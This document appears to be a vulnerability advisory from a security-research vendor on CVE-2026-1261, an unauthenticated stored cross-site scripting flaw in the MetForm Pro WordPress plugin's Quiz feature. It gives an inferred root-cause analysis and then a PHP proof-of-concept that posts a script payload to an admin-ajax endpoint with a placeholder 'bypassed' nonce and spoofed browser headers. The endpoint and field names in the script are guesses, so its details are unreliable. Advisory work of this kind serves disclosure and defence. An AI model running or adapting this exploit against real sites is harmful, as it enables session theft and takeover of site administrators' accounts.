Atomic Edge analysis of CVE-2026-1261 (metadata-based):
This vulnerability is a stored cross-site scripting (XSS) flaw in the MetForm Pro WordPress plugin’s Quiz feature. The CWE-79 classification confirms improper neutralization of input during web page generation. The description states insufficient input sanitization and output escaping affects all versions up to 3.9.6, allowing unauthenticated attackers to inject arbitrary scripts.
Atomic Edge research infers the root cause involves quiz form submissions where user-provided data lacks proper sanitization before storage and escaping before output. The vulnerability likely exists in an AJAX handler or REST endpoint processing quiz submissions. The plugin’s quiz functionality probably stores user responses in the database, and these responses are later displayed to administrators or other users without adequate escaping.
Exploitation requires an attacker to submit malicious JavaScript payloads through quiz form fields. The payload persists in the database and executes when a privileged user views the quiz results or submissions. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) indicates network accessibility, low attack complexity, no authentication requirements, no user interaction for execution, scope change, and low confidentiality/integrity impact.
The fix in version 3.9.7 likely adds proper input validation using WordPress sanitization functions (sanitize_text_field, wp_kses) and output escaping using esc_html, esc_attr, or wp_kses. The patch should also implement proper capability checks and nonce verification for all quiz submission handlers.
Successful exploitation allows attackers to steal administrator session cookies, perform actions as administrators, deface sites, or redirect users to malicious sites. The stored nature means a single payload can affect multiple users over time.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1261 - MetForm Pro <= 3.9.6 - Unauthenticated Stored Cross-Site Scripting
<?php
$target_url = 'https://example.com';
// Based on WordPress plugin patterns, quiz submissions typically use AJAX endpoints
// Common pattern: /wp-admin/admin-ajax.php?action=metform_pro_quiz_submit
// Or REST API: /wp-json/metform-pro/v1/quiz/submit
// This PoC targets the AJAX endpoint as the most likely vector
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// XSS payload that executes when quiz results are viewed
$payload = '<script>alert(document.domain)</script>';
// Construct POST data matching typical quiz submission format
// Assumes quiz field names like 'quiz_answer[]' or 'question_1'
$post_data = [
'action' => 'metform_pro_quiz_submit',
'form_id' => '1', // Common required parameter
'quiz_answers' => json_encode([
'question_1' => $payload,
'question_2' => $payload
]),
// Nonce may be required but vulnerability suggests it's missing or bypassable
'nonce' => 'bypassed' // Placeholder for actual nonce if required
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept: application/json, text/javascript, */*; q=0.01',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With: XMLHttpRequest'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "Payload submitted. Check quiz results page for XSS execution.n";
echo "Response: " . htmlspecialchars($response) . "n";
} else {
echo "Request failed with HTTP code: $http_coden";
}
// Note: This PoC is based on inferred patterns. Actual parameter names may vary.
// Successful exploitation requires the target to have a quiz form with ID 1.
// The payload will execute when an administrator views quiz submissions.
?>
